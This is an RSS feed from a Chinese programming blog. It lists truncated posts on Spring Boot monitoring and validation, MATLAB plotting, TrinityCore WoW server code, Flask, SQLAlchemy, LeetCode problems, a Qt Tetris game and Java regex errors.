<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Posts on 编程爱好者博客</title>
    <link>https://bchobby.github.io/posts/</link>
    <description>Recent content in Posts on 编程爱好者博客</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh-CN</language>
    <lastBuildDate>Wed, 03 Jan 2024 17:29:26 +0800</lastBuildDate>
    <atom:link href="https://bchobby.github.io/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>推荐一款专业的图片批量处理工具：ImBatch</title>
      <link>https://bchobby.github.io/posts/babe1b5f99a0c9dd27a871c0e3a45e97/</link>
      <pubDate>Wed, 03 Jan 2024 17:29:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/babe1b5f99a0c9dd27a871c0e3a45e97/</guid>
      <description>ImBatch是一款专业的图片批量处理工具，为你的图片处理需求提供强大支持。无论你需要进行哪种图片处理操作，ImBatch都能满足你的要求。让我们以普通用户使用率最高的图片变换处理分类为例，向你展示它的强大功能。&#xA;功能丰富，分类清晰&#xA;ImBatch的功能十分强大，拥有多项图片变换处理功能。为了让用户更便捷地找到需要的功能，ImBatch进行了分类整理，避免让你在海量功能中迷失。以图片变换为例，它提供了16个功能供你选择，让你的图片处理更加精准。&#xA;简单易用，快速上手&#xA;使用ImBatch非常简单。打开软件后，你可以通过工具栏上的按钮导入单张图片或整个文件夹。&#xA;导入图片后，只需点击右侧的&#34;添加任务&#34;，在任务列表中选择需要进行处理的选项。&#xA;以图像格式转换(另存为)功能为例&#xA;点击&#34;添加任务 - 保存 - 另存为&#34;，软件右侧将增加一个&#34;另存为&#34;任务。&#xA;通过点击&#34;另存为&#34;，你可以进入详细设置窗口，在其中设置文件类型、文件名、输出目录等参数。&#xA;完成设置后，你可以继续添加其他任务，设置方法大同小异。&#xA;多任务处理，高效完成&#xA;ImBatch支持同时处理多个任务，让你的图片处理更加高效。设置完成后，只需点击软件左上角的蓝色三角按钮或按下快捷键Ctrl+B，即可开始批量处理。&#xA;处理完成后，软件会发出声音提示，并显示处理时间等相关信息。你可以轻松完成批量处理，节省宝贵的时间。&#xA;新功能加入，提升体验&#xA;作为一款不断发展的工具，ImBatch不断增加新功能，为用户带来更好的体验。我们持续关注用户需求，并致力于为你提供更多强大的功能和工具，让你的图片处理更加多样化、高效率。&#xA;无论是个人用户还是专业用户，ImBatch都是你处理图片的最佳选择。下载ImBatch，让它成为你的图片处理利器，帮助你快速完成各种图片处理任务。&#xA;注意：在进行任何图片处理操作时，请遵循合法合规的规定，并尊重他人的版权和隐私。&#xA;本文来源于：ImBatch：高效图片批量处理工具，满足你的所有需求-下载集 (xzji.com)https://www.xzji.com/news/13078.html</description>
    </item>
    <item>
      <title>12306推出购票新功能:新增购票需求预填和起售提醒订阅</title>
      <link>https://bchobby.github.io/posts/0b004aff94762d58cad0e9eaa621ce5c/</link>
      <pubDate>Wed, 03 Jan 2024 17:18:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b004aff94762d58cad0e9eaa621ce5c/</guid>
      <description>中国铁路近日宣布，自1月3日起，铁路12306手机客户端将推出两项新功能，包括购票需求预填和火车票起售提醒订阅，旨在提升用户的购票体验。这一举措预计将大大简化旅客的购票流程，使得购买火车票更加方便快捷。&#xA;火车票的预售期目前为15天。购票需求预填功能的实施后，将允许旅客在车票发售当天，提前填写乘车人信息、车次、座位等相关信息。一旦车票开始销售，用户即可一键提交订单并快速完成支付，大幅提高了购票的便利性。此外，铁路12306还引入了起售提醒订阅功能。通过这一功能，旅客可以根据车票的起售时间，提前设置多个提醒，确保能够及时提交购票订单。用户可以通过铁路12306平台查询每趟列车的具体起售时间。&#xA;这些新功能的加入，标志着中国铁路在提升服务质量和乘客体验方面迈出了重要一步。它们不仅简化了购票过程，还为旅客提供了更多的便利和灵活性，有望吸引更多乘客通过官方平台购买火车票。&#xA;本文来源于：铁路12306手机客户端：新增购票需求预填和起售提醒订阅-下载集 (xzji.com)https://www.xzji.com/news/14335.html</description>
    </item>
    <item>
      <title>SpringBoot之项目管理</title>
      <link>https://bchobby.github.io/posts/e920d587a5a2611c41f643a27b3b9922/</link>
      <pubDate>Wed, 03 Jan 2024 16:52:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e920d587a5a2611c41f643a27b3b9922/</guid>
      <description>系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加&#xA;SpringBoot之项目管理&#xA;提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 系列文章目录前言一、指标监控Spring Boot Actuator的使用可视化工具展示actuator使用Spring Boot Admin服务端项目步骤 二、日志管理如何配置日志管理文件？代码中输出日志 总结指标监控日志管理 前言 提示：这里可以添加本文要记录的大概内容：&#xA;在当今的软件开发领域，项目管理是至关重要的一环。它确保了项目的按时交付、质量的保证以及团队的高效协作。而在 Spring Boot 框架的加持下，项目管理变得更加高效和便捷。&#xA;在这篇博客中，我将介绍两个在 Spring Boot 项目管理中非常重要的方面：指标监控和日志管理。这两个内容对于确保项目的顺利运行和问题的快速定位起着关键作用。&#xA;指标监控可以帮助我们实时了解项目的性能和健康状况。通过收集和分析各种指标数据，我们可以及时发现系统的瓶颈、异常情况和性能问题，并采取相应的措施进行优化和修复。日志管理则是我们了解系统运行情况的窗口。它记录了系统在运行过程中产生的各种日志信息，包括错误日志、调试日志和操作日志等。通过有效的日志管理，我们可以快速定位和解决问题，同时还可以进行数据分析和统计，为项目的优化和改进提供依据。&#xA;在接下来的博客文章中，我将深入探讨指标监控和日志管理的具体实现方法和最佳实践，分享一些实用的工具和技巧，帮助你更好地管理 Spring Boot 项目。无论你是项目经理、开发人员还是运维人员，这些内容都将对你有所帮助。&#xA;让我们一起探索 Spring Boot 的世界，提升项目管理的水平，助力项目的成功交付！&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、指标监控 Spring Boot Actuator的使用 在 Spring Boot 中，指标监控是指对应用程序的性能指标进行实时监测和收集的过程。通过指标监控，我们可以了解应用程序的运行状况、资源利用率、请求响应时间等关键指标，以便及时发现问题、优化性能和进行故障排除。Spring Boot Actuator可以帮助程序员监控和管理SpringBoot应用，用法如下：&#xA;1.在被监控的项目中添加Actuator起步依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.编写配置文件&#xA;#开启所有监控端点 management.endpoints.web.exposure.include=* 3.访问项目：http://localhost:8080/actuator&#xA;通过URL可以调用actuator的功能：&#xA;URL查看的数据/env环境属性/health健康检查/mappings显示所有的@RequestMapping路径/loggers日志/info定制信息/metrics查看内存、CPU核心等系统参数/trace用户请求信息 可视化工具展示actuator Spring Boot Admin 是一个用于管理和监控 Spring Boot 应用程序的开源工具。它提供了一个集中式的界面，用于监控和管理多个 Spring Boot 应用程序。&#xA;使用 Spring Boot Admin 查看 actuator 生成的指标数据有以下几个优点：</description>
    </item>
    <item>
      <title>利用MATLAB绘制折线图</title>
      <link>https://bchobby.github.io/posts/abc6b31caabc994ff7977d149707d931/</link>
      <pubDate>Wed, 03 Jan 2024 16:37:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abc6b31caabc994ff7977d149707d931/</guid>
      <description>x=20:20:140;%x轴上的数据，第一个值代表数据开始，第二个值代表间隔，第三个值代表终止 a=[0.85, 2.2, 3.45, 2.65, 1.5, 1.9, 1.25]; %a数据y值 plot(x,a,&#39;-*b&#39;); %线性，颜色，标记 axis([0,160,0,4]) %确定x轴与y轴框图大小 set(gca,&#39;XTick&#39;,[0:20:160]) %x轴范围1-6，间隔1 set(gca,&#39;YTick&#39;,[0:1:4]) %y轴范围0-700，间隔100 legend(&#39;position1&#39;); %右上角标注 xlabel(&#39;爬行量(cm)&#39;) %x轴坐标描述 ylabel(&#39;误差（％）&#39;) %y轴坐标描述 x=20:20:140;%x轴上的数据，第一个值代表数据开始，第二个值代表间隔，第三个值代表终止 a=[0.85, 2.2, 3.45, 2.65, 1.5, 1.9, 1.25]; %a数据y值 b=[1.2, 1, 2, 2, 1, 3, 1];%b数据y值 plot(x,a,&#39;-*b&#39;, x,b,&#39;-or&#39;); %线性，颜色，标记 axis([0,160,0,4]) %确定x轴与y轴框图大小 set(gca,&#39;XTick&#39;,[0:20:160]) %x轴范围0-160，间隔20 set(gca,&#39;YTick&#39;,[0:1:4]) %y轴范围0-4，间隔1 legend(&#39;position_a&#39;,&#39;position_b&#39;); %右上角标注 xlabel(&#39;爬行量(cm)&#39;) %x轴坐标描述 ylabel(&#39;误差（％）&#39;) %y轴坐标描述 x=120:120:840;%x轴上的数据，第一个值代表数据开始，第二个值代表间隔，第三个值代表终止 a=[0.17, 0.38, 0.44, 0.30, 0.36, 0.49, 0.32]; %a数据y值 b=[0.01, 0.03, 0.12, 0.22, 0.12, 0.13, 0.</description>
    </item>
    <item>
      <title>SpringBoot之参数校验</title>
      <link>https://bchobby.github.io/posts/6564092e411f3085190549595ebbb44e/</link>
      <pubDate>Wed, 03 Jan 2024 16:17:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6564092e411f3085190549595ebbb44e/</guid>
      <description>系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加&#xA;SpringBoot之参数校验&#xA;提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 系列文章目录前言一、参数校验的重要性二、简单数据类型参数校验三、对象类型参数校验四、异常处理总结 前言 提示：这里可以添加本文要记录的大概内容：&#xA;在 SpringBoot 的世界里，参数校验是确保数据完整性和正确性的重要一环。它就像是一道坚固的防线，守护着我们的应用程序，防止恶意或错误的数据闯入。&#xA;想象一下，如果没有参数校验，我们的应用将会面临各种数据不一致、空指针异常等问题，就像是一场噩梦。但是，有了 SpringBoot 的参数校验功能，我们可以轻松地对传入的参数进行检查，确保它们符合我们的预期。&#xA;这就像是给我们的应用程序加上了一层保护罩，让我们可以放心地处理数据，而不用担心数据的质量问题。所以，让我们一起深入了解 SpringBoot 的参数校验吧，掌握它的奥秘，让我们的应用程序更加健壮和可靠！&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、参数校验的重要性 在应用程序的各个层面，我们都需要对传入的参数进行校验，以确保它们符合预期的格式、范围和约束。参数校验可以帮助我们避免以下问题：&#xA;数据不合法：通过对参数进行校验，可以确保数据符合业务规则和数据模型的要求。异常处理：在参数校验过程中，可以提前捕获和处理非法参数，避免在后续的业务逻辑中引发异常。安全性：通过参数校验，可以防止 SQL 注入、跨站脚本攻击等安全漏洞。 二、简单数据类型参数校验 SpringBoot自带了validation工具可以从后端对前端传来的参数进行校验，用法如下：&#xA;引入validation起步依赖 &amp;lt;!-- 参数校验 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-validation&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 在需要进行参数校验的实体类上添加@Validated注解，表示该类将进行参数校验。在参数前加校验注解，表示对这个参数进行具体的参数校验。 // 该控制器开启参数校验 @Validated @Controller public class TestController { @RequestMapping(&#34;/t1&#34;) @ResponseBody // 在参数前加校验注解，该注解的意思是字符串参数不能为null public String t1(@NotBlank String username){ System.out.println(username); return &#34;请求成功！&#34;; } } 访问http://localhost:8080/t1，发现当没有传来参数时，会抛出ConstraintViolationException异常。在校验参数的注解中添加message属性，可以替换异常信息。 // 该控制器开启参数校验 @Validated @Controller public class TestController { @RequestMapping(&#34;/t1&#34;) @ResponseBody // 在参数前加校验注解，该注解的意思是字符串参数不能为null public String t1(@NotBlank(message = &#34;</description>
    </item>
    <item>
      <title>魔兽3.3.5版本AI模块代码拆分解析（魔兽3.3.5模块是状态机）</title>
      <link>https://bchobby.github.io/posts/c59f7a2218cd87c2537a71b97898f841/</link>
      <pubDate>Wed, 03 Jan 2024 15:52:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c59f7a2218cd87c2537a71b97898f841/</guid>
      <description>文章目录 一、简介1）大怪物的AI主要涉及两个类：BossAI和WorldBossAI2）普通小怪的AI，基本继承类：ScriptedAI3）传奇怪物的AI，继承CreatureAI类4）人物AI，PlayerAI类5）PassiveAI（被动AI）：6）PossessedAI（被占据AI）：7）NullCreatureAI（空生物AI）：8）CritterAI（小动物AI）：9）TriggerAI（触发器AI）10）AggressorAI（攻击者AI）：11）CombatAI（战斗AI）：12）CasterAI（施法者AI）：13）ArcherAI（弓箭手AI）：14）TurretAI（炮塔AI）：15）VehicleAI（载具AI）：16）TotemAI （图腾AI）17）GuardAI（守卫AI）18）NullGameObjectAI（空游戏对象AI）：19）GameObjectAI（游戏对象AI）：20）SmartGameObjectAI（智能游戏对象AI）： 本文是主讲怪物方向的AI&#xA;一、简介 1）大怪物的AI主要涉及两个类：BossAI和WorldBossAI ①继承顺序&#xA;BossAI和WorldBossAI都继承来自ScriptedAI类&#xA;ScriptedAI类继承来自CreatureAI类，&#xA;Creature类继承来自UnitAI类&#xA;②个例举例(继承BossAI)&#xA;&amp;lt;1&amp;gt;科林·狄尔布鲁（Coren Direbrew）&#xA;struct boss_coren_direbrew : public BossAI &amp;lt;2&amp;gt;烟网女王（Mother Smolderweb）&#xA;struct boss_mother_smolderweb : public BossAI &amp;lt;3&amp;gt;巨龙之王维姆萨拉克（Overlord Wyrmthalak）&#xA;struct boss_overlord_wyrmthalak : public BossAI ③WorldBossAI继承举例&#xA;1）Azuregos（艾索雷葛斯） struct boss_azuregos : public WorldBossAI 2)翡翠龙（emerald_dragon） struct emerald_dragonAI : public WorldBossAI 2）普通小怪的AI，基本继承类：ScriptedAI ①分别举例说明：&#xA;1）暮光志愿者AI&#xA;struct npc_twilight_volunteer : public ScriptedAI 2）Millhouse Manastorm（米尔豪斯·法力风暴）&#xA;struct npc_millhouse_manastorm : public ScriptedAI 3）传奇怪物的AI，继承CreatureAI类 ①the lich king巫妖王的全部AI&#xA;②Valithria Dreamwalker (瓦莉瑟瑞娅·梦行者) 的全部AI&#xA;③Algalon the Observer（奥尔加隆，观察者之眼）</description>
    </item>
    <item>
      <title>python实现简易的flask后端接口</title>
      <link>https://bchobby.github.io/posts/cb8c47ceff2b3ab64d56d56108fe18ac/</link>
      <pubDate>Wed, 03 Jan 2024 15:27:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb8c47ceff2b3ab64d56d56108fe18ac/</guid>
      <description>先安装插件pip install flask&#xA;新建py脚本文件编码：&#xA;# -*- coding: utf-8 -*- from flask import Flask from flask_cors import CORS&#x9;# 跨域依赖，通过pip install flask-cors安装 app = Flask(__name__) cors = CORS(app) # 跨域设置，这样设置就是所有接口均跨域 @app.route(&#39;/testApi&#39;, methods=[&#34;POST&#34;])&#x9;# 默认为get方式 def testApi(): # 获取地址栏参数 args = request.args print(&#39;args: &#39;, args) # 比如说要拿分页页码，就直接get pageSize = args.get(&#39;pageSize&#39;) # 获取请求体数据 data = json.loads(request.data) print(&#39;data:&#39;, data) result = { &#34;code&#34;: &#34;200&#34;, &#34;message&#34;: &#34;SUCCEED&#34; &#34;data&#34;: &#34;搞咩啊！&#34; } return json.dumps(result) if __name__ == &#39;__main__&#39;: app.</description>
    </item>
    <item>
      <title>服务端开发中的数据库交互与数据存储</title>
      <link>https://bchobby.github.io/posts/35bc2595ba80f5c71e0a0c4584c717bc/</link>
      <pubDate>Wed, 03 Jan 2024 15:07:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35bc2595ba80f5c71e0a0c4584c717bc/</guid>
      <description>随着互联网的发展，服务端开发在构建强大的应用程序中扮演着至关重要的角色。在这个过程中，与数据库的高效交互和数据存储变得尤为关键。本文将探讨在服务端开发中如何处理与数据库的交互以及有效地进行数据存储。&#xA;1. 数据库的选择 在开始服务端开发之前，首先需要选择合适的数据库。不同的应用场景可能需要不同类型的数据库，例如关系型数据库（如MySQL、PostgreSQL）、NoSQL数据库（如MongoDB、Cassandra）等。选择数据库时需要考虑应用的性能要求、数据结构以及扩展性需求。&#xA;2. 数据库连接与连接池 在服务端开发中，与数据库建立连接是一个常见的操作。为了提高性能，通常会使用连接池技术，它可以维护一组数据库连接，避免频繁地创建和销毁连接。连接池可以有效地管理连接的数量，提高数据库访问的效率。&#xA;# Python中使用连接池的例子（使用SQLAlchemy） from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker # 创建数据库连接池 engine = create_engine(&#39;mysql://user:password@localhost/dbname&#39;, pool_size=10, max_overflow=20) # 创建Session类 Session = sessionmaker(bind=engine) # 使用连接池创建Session实例 session = Session() 3. SQL查询与ORM 与数据库交互的一种常见方式是使用SQL语句进行查询。另一种方式是使用对象关系映射（ORM）工具，它允许开发者使用面向对象的方式操作数据库，而不是直接编写SQL语句。ORM工具如SQLAlchemy、Django ORM等可以简化数据库交互的流程，提高开发效率。&#xA;# 使用SQLAlchemy进行查询的例子 from sqlalchemy import create_engine, Column, Integer, String, Sequence from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker # 定义数据模型 Base = declarative_base() class User(Base): __tablename__ = &#39;users&#39; id = Column(Integer, Sequence(&#39;user_id_seq&#39;), primary_key=True) name = Column(String(50)) age = Column(Integer) # 创建数据库连接池 engine = create_engine(&#39;sqlite:///:memory:&#39;, echo=True) # 创建数据表 Base.</description>
    </item>
    <item>
      <title>【LeetCode 面试经典150题】12. Integer to Roman 整数转罗马数字</title>
      <link>https://bchobby.github.io/posts/20ceacb838a813623e6d69b7bda128da/</link>
      <pubDate>Wed, 03 Jan 2024 14:56:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20ceacb838a813623e6d69b7bda128da/</guid>
      <description>12. Integer to Roman Roman numerals are represented by seven different symbols: I, V, X, L, C, D, and M.&#xA;SymbolValueI1V5X10L50C100D500M1000 For example, 2 is written as II in Roman numeral, just two ones added together. 12 is written as XII, which is simply X + II. The number 27 is written as XXVII, which is XX + V + II.&#xA;Roman numerals are usually written largest to smallest from left to right.</description>
    </item>
    <item>
      <title>【LeetCode 面试经典150题】13. Roman to Integer 罗马数组转整数</title>
      <link>https://bchobby.github.io/posts/41e8666839ba583937f8d09d5cf8d1e2/</link>
      <pubDate>Wed, 03 Jan 2024 14:43:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41e8666839ba583937f8d09d5cf8d1e2/</guid>
      <description>13. Roman to Integer 题目大意 Roman numerals are represented by seven different symbols: I, V, X, L, C, D, and M.&#xA;SymbolValueI1V5X10L50C100D500M1000 For example, 2 is written as II in Roman numeral, just two ones added together. 12 is written as XII, which is simply X + II. The number 27 is written as XXVII, which is XX + V + II.&#xA;Roman numerals are usually written largest to smallest from left to right.</description>
    </item>
    <item>
      <title>【LeetCode 面试经典150题】42. Trapping Rain Water 接雨水</title>
      <link>https://bchobby.github.io/posts/6db0e9a2d0e58c152a850019c4bb168f/</link>
      <pubDate>Wed, 03 Jan 2024 14:36:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6db0e9a2d0e58c152a850019c4bb168f/</guid>
      <description>42. Trapping Rain Water 题目大意 Given n non-negative integers representing an elevation map where the width of each bar is 1, compute how much water it can trap after raining.&#xA;中文释义 给定 n 个非负整数，代表以宽度为 1 的条形图的高程图，计算下雨后它能接多少雨水。&#xA;Example Example 1:&#xA;Input: height = [0,1,0,2,1,0,1,3,2,1,2,1]Output: 6Explanation: 上述高程图（黑色部分）由数组 [0,1,0,2,1,0,1,3,2,1,2,1] 表示。在这种情况下，被接的雨水量（蓝色部分）为 6 单位。 Example 2:&#xA;Input: height = [4,2,0,3,2,5]Output: 9 Constraints n == height.length1 &amp;lt;= n &amp;lt;= 2 * 10^40 &amp;lt;= height[i] &amp;lt;= 10^5 解题思路 算法描述 这段代码的目的是计算在一个给定的高程图中能够接多少雨水。</description>
    </item>
    <item>
      <title>使用（C&#43;&#43;）QT实现经典小游戏（俄罗斯方块）</title>
      <link>https://bchobby.github.io/posts/7d9525152837b0cdcd229a2a9ae5d9ef/</link>
      <pubDate>Wed, 03 Jan 2024 14:22:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d9525152837b0cdcd229a2a9ae5d9ef/</guid>
      <description>一、简介 学习QT有段时间了，但是也没用来做过啥，这两日就突然想到了这个游戏，于是就打算用QT写一个，也不是纯纯自己写的代码，在写之前我也是找了几个别人的项目看了一下，学习了框架的搭建，和某些类的使用。&#xA;首先我也是将整个程序分作了四块：&#xA;一、方块类：主要就是对每个方块的坐标的一个封装&#xA;二、游戏区域：根据实时的要求，根据坐标画出方块&#xA;三、下一块方块：刷新下一块方块&#xA;四、计分区域：根据得分显示关卡、分数等&#xA;二、代码实现 在代码中都已经写了注释了，外面就不多累述了&#xA;1.ui界面 NextArea和GameArea都是由Qwidget提升上来的。&#xA;2.item方块类 2.1头文件 /* * 俄罗斯方块的方块类文件 */ #ifndef ITEM_H #define ITEM_H #pragma once #include &amp;lt;QObject&amp;gt; #include &amp;lt;QWidget&amp;gt; #include &amp;lt;QVector&amp;gt; #include &amp;lt;QPoint&amp;gt; #include &amp;lt;QPainter&amp;gt; typedef QVector&amp;lt;QPoint&amp;gt; povector; //坐标容器 enum ItemType//7种方块，四种朝向 { ItemType_I = 0, ItemType_L1, ItemType_L2, ItemType_T, ItemType_O, ItemType_Z1, ItemType_Z2, ItemType_MAX, }; class Item { public: Item(){} Item(ItemType type,int direction);//有参构造方块 ~Item(){} void NewItem(int random_number);//通过随机的一个数来创建一个新的方块 void initpoint(ItemType type,int direction);//根据方块的类型和朝向初始化四个小方块的坐标 ItemType type(); //返回方块的类型 int direction(); //返回方块的朝向 void ClearPoints();//清除坐标信息 void drawItem(QPainter &amp;amp;painter,int x,int y,int width,int height); //根据坐标和宽高画图形 void changedirection(int direction=1); //改变方块的朝向，我的朝向加1即为下一个朝向，顺时针旋转90° void moveItem(int x,int y);//横向移动x格,竖向移动y格 void movetoItem(int x,int y);//移动到（x,y）位置 void AddPoints(povector&amp;amp; points); //添加方块格子坐标 void Deleterow(int y); //删除坐标为y的一行 void MoveDown(int nRow, int y);//删除行以后其它的方块下移 public: ItemType mytype; //我的方块 int mydirection; //我的方块朝向 QPoint mypos; //我的方块位置坐标 povector myPoint; //我的方块四小块的坐标 }; #endif // ITEM_H 2.</description>
    </item>
    <item>
      <title>魔兽服务器学习-笔记（服务器部署、地图管理、DB、日志模块、任务模块、战斗模块）</title>
      <link>https://bchobby.github.io/posts/61d601a90b660abbdf00d5f1bf8a655f/</link>
      <pubDate>Wed, 03 Jan 2024 14:11:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61d601a90b660abbdf00d5f1bf8a655f/</guid>
      <description>文章目录 一、环境准备1）依赖安装2）源码下载和编译 二、生成数据信息1）地图数据信息（客户端信息）2）数据库信息 三、启动服务器四、日志模块五、数据库模块六、场景模块1）地图管理2）AOI算法1、静态数据讲解2、动态数据：3、动态数据结构NGrid解析4、涉及用户登录的逻辑及grid状态转变5、涉及玩家退出的逻辑及grid状态转变 3）地图数据驱动1）网络驱动2）地图定时更新做的事 4）动态数据管理（1）设计模式-访问者模式及代码表现形式 5）碰撞检测实现（BIH+AABB） 七、战斗模块1）技能模块①技能信息类SpellInfo 八、MMO常用模块（任务、副本、商店等）九、AI十、游戏实体代码1）trinitycore实体类介绍2）分开介绍各实力类（1）object类 十、背包模块 一、环境准备 1）依赖安装 sudo apt-get update sudo apt-get install git clang cmake gcc g++ libmysqlclient-dev libss-dev libbz2-dev libreadline-dev libncurses-dev libboost-all-dev mysql-server-5.7 p7zip sudo update-alternatives --install /usr/bin/cc cc /usr/bin/clang 100 sudo update-alternatives --install /usr/bin/c++ c++ /usr/bin/clang 100 // sudo yum install -y clang 2）源码下载和编译 git clone -b 3.3.5 https//github.com//TrinityCore/TrinityCore.git mkdir build cd build cmake ../ -DCMAKE_INSTALL_PREFIX=/home/lighthouse/tinycore -DCONF_DIR=/home/lighthouse/tinycore/bin make -j2 （nproc看核心数来编译） make install 二、生成数据信息 1）地图数据信息（客户端信息） 1）cd ~ 2）mkdir res (根目录创建res文件夹) 3）把客户端目录的Data和Interface移动到res目录下 4）cd res 在res目录执行游戏目录bin/下面的mapextractor， 生成dbc和maps文件夹 5）mkdir vmaps 在res目录执行游戏目录bin/下面的vmap4extractor， 生成vmaps文件夹和Buildings目录 5）在res目录执行游戏目录bin/下面的vmap4assembler， .</description>
    </item>
    <item>
      <title>魔兽3.3.5版本背包模块代码拆分解析（从之前的文章中拆分出来）</title>
      <link>https://bchobby.github.io/posts/cfab7f0cdb4d0fe7b68970cdbb99656c/</link>
      <pubDate>Wed, 03 Jan 2024 14:08:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfab7f0cdb4d0fe7b68970cdbb99656c/</guid>
      <description>文章目录 一、涉及到的文件二、先看成员变量（单个背包的存储数据）三、再看玩家背包和DB的交互1）逐行解析db表2）sql语句变更记录(记录一些sql语句对数据存储的影响)3）额外提一嘴物品在mysql的存储4）预编译背包的物品和db交互的sql语句 四、解析成员函数1）构造函数2）析构函数3）实体添加到世界4）背包添加物品5）获得对应id的物品数量6）根据物品标签获得对应物品数量7）根据物品id获取对应背包内物品的槽位 五、背包总结七、已上阵的装备代码1）建立人物碰撞体代码讲解开始2）源码枚举 六、代码 不想写在 魔兽服务器学习-笔记之中了，之前的文章篇幅太长，代码在最后的模块 一、涉及到的文件 Object.h Item.h Bag.h 这里的背包继承了物品类，而物品类又继承了对象Object类&#xA;注意点&#xA;因为这里避免看的越多，所以这里从Bag.h看起，因为从Object.h看起来的话，根本看不完 二、先看成员变量（单个背包的存储数据） #define MAX_BAG_SIZE 36 // Bag Storage space Item* m_bagslot[MAX_BAG_SIZE]; 可以看到这里是存了指针数组，上限是36（因为c with class的关系，而且对于游戏来说内存很重要）&#xA;三、再看玩家背包和DB的交互 背包类和DB交互的代码 // DB operations // overwrite virtual Item::SaveToDB void SaveToDB(CharacterDatabaseTransaction trans) override; // overwrite virtual Item::LoadFromDB bool LoadFromDB(ObjectGuid::LowType guid, ObjectGuid owner_guid, Field* fields, uint32 entry) override; // overwrite virtual Item::DeleteFromDB void DeleteFromDB(CharacterDatabaseTransaction trans) override; 玩家背包数据的db存储sql语句 DROP TABLE IF EXISTS `character_inventory`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!</description>
    </item>
    <item>
      <title>java.util.regex.PatternSyntaxException: Illegal repetition {</title>
      <link>https://bchobby.github.io/posts/55eadc45f7a323c541262069024ace63/</link>
      <pubDate>Wed, 03 Jan 2024 14:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55eadc45f7a323c541262069024ace63/</guid>
      <description> 问题描述 使用 replaceAll 替换字符串时，报如下错误：&#xA;java.util.regex.PatternSyntaxException: Illegal repetition {&#34; at java.util.regex.Pattern.error(Pattern.java:1924) at java.util.regex.Pattern.closure(Pattern.java:3104) at java.util.regex.Pattern.sequence(Pattern.java:2101) at java.util.regex.Pattern.expr(Pattern.java:1964) at java.util.regex.Pattern.compile(Pattern.java:1665) at java.util.regex.Pattern.&amp;lt;init&amp;gt;(Pattern.java:1337) at java.util.regex.Pattern.compile(Pattern.java:1022) at java.lang.String.replaceAll(String.java:2162)12345678910 代码为：&#xA;String s = allData.replaceAll(&#34;{\&#34;&#34;,&#34;{&#39;&#34;)；1 问题原因 参数传递问题，replaceAll(String regex, String replacement) 方法的第一个参数为正则表达式，而 “{ ” 是正则表达式中的特殊字符，要匹配 {，需要转义后使用，replaceAll 方法源码如下：&#xA;public String replaceAll(String regex, String replacement) { return Pattern.compile(regex).matcher(this).replaceAll(replacement); }123 解决方法 对“{ ”转义即可：&#xA;String s = allData.replaceAll(&#34;\\{\&#34;&#34;,&#34;{&#39;&#34;)1 </description>
    </item>
    <item>
      <title>AOP获取方法返回值</title>
      <link>https://bchobby.github.io/posts/2ed2c42f18468b3c3e2c1d4c7eba45a0/</link>
      <pubDate>Wed, 03 Jan 2024 14:05:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ed2c42f18468b3c3e2c1d4c7eba45a0/</guid>
      <description>我们用Spring的AOP切面做日志收集或者记录的时候，在springboot中用@Aspect注解。比如：&#xA;@Aspect public class AdviceTest { @Before(&#34;execution(* com.abc.service.*.many*(..))&#34;) public void permissionCheck(JoinPoint point) { System.out.println(&#34;@Before：模拟权限检查...&#34;); System.out.println(&#34;@Before：目标方法为：&#34; + point.getSignature().getDeclaringTypeName() + &#34;.&#34; + point.getSignature().getName()); System.out.println(&#34;@Before：参数为：&#34; + Arrays.toString(point.getArgs())); System.out.println(&#34;@Before：被织入的目标对象为：&#34; + point.getTarget()); } @After(&#34;execution(* com.abc.service.*.many*(..))&#34;) public void releaseResource(JoinPoint point) { System.out.println(&#34;@After：模拟释放资源...&#34;); System.out.println(&#34;@After：目标方法为：&#34; + point.getSignature().getDeclaringTypeName() + &#34;.&#34; + point.getSignature().getName()); System.out.println(&#34;@After：参数为：&#34; + Arrays.toString(point.getArgs())); System.out.println(&#34;@After：被织入的目标对象为：&#34; + point.getTarget()); } 12345678910111213141516171819202122 @Before表示方法请求前执行，@After表示方法请求后执行，一般做记录的时候会使用@After比较多。但是有时候我们需要获取方法的返回值做判断该如何处理呢？首先，我们看@After的注解源码。&#xA;@Retention(RetentionPolicy.RUNTIME) @Target({ElementType.METHOD}) public @interface After { String value(); String argNames() default &#34;&#34;; } 1234567 